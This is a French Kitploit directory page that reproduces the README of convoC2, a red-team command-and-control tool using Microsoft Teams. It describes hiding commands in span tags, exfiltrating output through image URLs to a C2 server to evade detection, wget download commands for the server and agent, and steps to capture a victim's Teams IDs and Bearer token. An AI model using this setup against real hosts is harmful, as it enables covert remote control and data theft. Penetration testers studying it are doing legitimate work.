Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
convoC2 — Infrastructure C2 via Microsoft Teams. | Kitploit
Outils/GitHubGitHub/cxnturi0n/convoc2
Mécanismes de PersistanceÉvasion IDS/IPSExfiltration de DonnéesPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubcxnturi0n/convoc2

convoC2

Infrastructure C2 via Microsoft Teams.

759119il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

convoC2

Table des matières

  • Introduction
  • Démo
  • Utilisation
  • Prérequis
  • Inspiration
  • Contribuer

Introduction

Infrastructure de commande et de contrôle qui permet aux Red Teamers d'exécuter des commandes système sur des hôtes compromis via Microsoft Teams.
Elle infiltre des données dans des balises span cachées dans les messages Microsoft Teams et exfiltre les sorties de commandes dans les URL d'images des Adaptive Cards, déclenchant des requêtes sortantes vers un serveur C2.
L'absence de communication directe entre la victime et l'attaquant, combinée au fait que la victime n'envoie que des requêtes HTTP vers les serveurs Microsoft et que les antivirus n'inspectent pas les fichiers journaux de MS Teams, rend la détection plus difficile.

convoC2-Architecture

Démo

La vidéo suivante démontre l'utilisation du serveur pour contrôler deux hôtes compromis : l'un exécutant le nouveau Teams sur Windows 11 et l'autre exécutant l'ancien Teams sur Windows 10. Dans le premier cas, l'attaquant ne fait pas partie de la même organisation que la victime.

https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a

Remarque : Dans le premier cas, la victime a déjà accepté la conversation avec l'attaquant externe, mais dans un scénario réel où l'attaquant démarre la conversation avec la victime pour la première fois, la victime devrait confirmer la conversation avec l'attaquant (bien que ce message d'alerte puisse être facilement contourné, voir ici). Ce n'est pas un problème : comme les messages sont de toute façon mis en cache dans le fichier journal, les commandes sont reçues et exécutées même si la victime n'a pas encore visualisé ou accepté la conversation.

Utilisation

Serveur

wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
  -t, --msgTimeout  How much to wait for command output (default 30 s)
  -b, --bindIp      Bind IP address (default 0.0.0.0)

Agent

wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
  -v, --verbose   Verbose logging (default false)
  -s, --server    C2 server URL (i.e. http://10.11.12.13/)
  -t, --timeout   Teams log file polling timeout [s] (default 1)
  -w, --webhook   Teams Webhook POST URL
  -r, --regex     Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")

Prérequis

Pour que cela fonctionne, vous devrez configurer quelques éléments :

  • Créer un canal Teams avec un Workflow Incoming Webhook : c'est l'endroit où les cartes adaptatives contenant la sortie seront reçues. Il est important de garder une fenêtre de navigateur avec ce canal ouverte pendant l'utilisation du serveur, sinon le serveur ne recevra pas les messages des agents.

WebhookChannel

  • Récupérer les Ids et le jeton d'authentification : Teams initialise une conversation avec un POST vers https://teams.microsoft.com/api/chatsvc/emea/v1/threads avec les identifiants uniques de la victime et de l'attaquant dans le corps. Dans la réponse, le threadId sera renvoyé dans le chemin de l'URL de l'en-tête Location. Le jeton Bearer de la même requête est utilisé pour s'authentifier auprès de https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages, qui est le point de terminaison pour l'envoi de messages. Il suffit donc de récupérer ces trois éléments et le serveur s'occupera du reste.
  • Assurez-vous de disposer d'un hôte accessible publiquement autorisant le trafic HTTP entrant sur le port 80.
  • Teams doit être en cours d'exécution sur l'hôte de la victime, en arrière-plan également.

Après avoir démarré le serveur, vous pouvez recevoir de nouveaux agents et les contrôler, en utilisant les données précédemment obtenues pour l'authentification. Consultez la démo pour un exemple d'utilisation.

Créer un canal Teams avec un Workflow Incoming Webhook

Tout d'abord, vous devrez créer un canal Teams.

CreateTeams

Faites un clic droit sur les trois points, puis cliquez sur « Workflows ».

CreateTeams_1

Dans la barre de recherche, tapez « Webhook » et cliquez sur « Post to a channel when a webhook request is received ».

CreateTeams_5

Continuez avec les paramètres par défaut et enfin copiez l'url.

Create_Teams_6

Récupérer les Ids et le jeton d'authentification

Commencez par rechercher la victime.

GetOrgIds

Après avoir sélectionné le compte de la victime, avec le proxy web interceptant les requêtes, vous pouvez envoyer un message factice.

GetOrgIds_1

Enregistrez les deux ids présents dans la requête api/chatsvc/emea/v1/threads puis DROP la requête. Le jeton d'authentification sera le jeton Bearer de la même requête.

GetOrgIds_2

Télécharger l’outil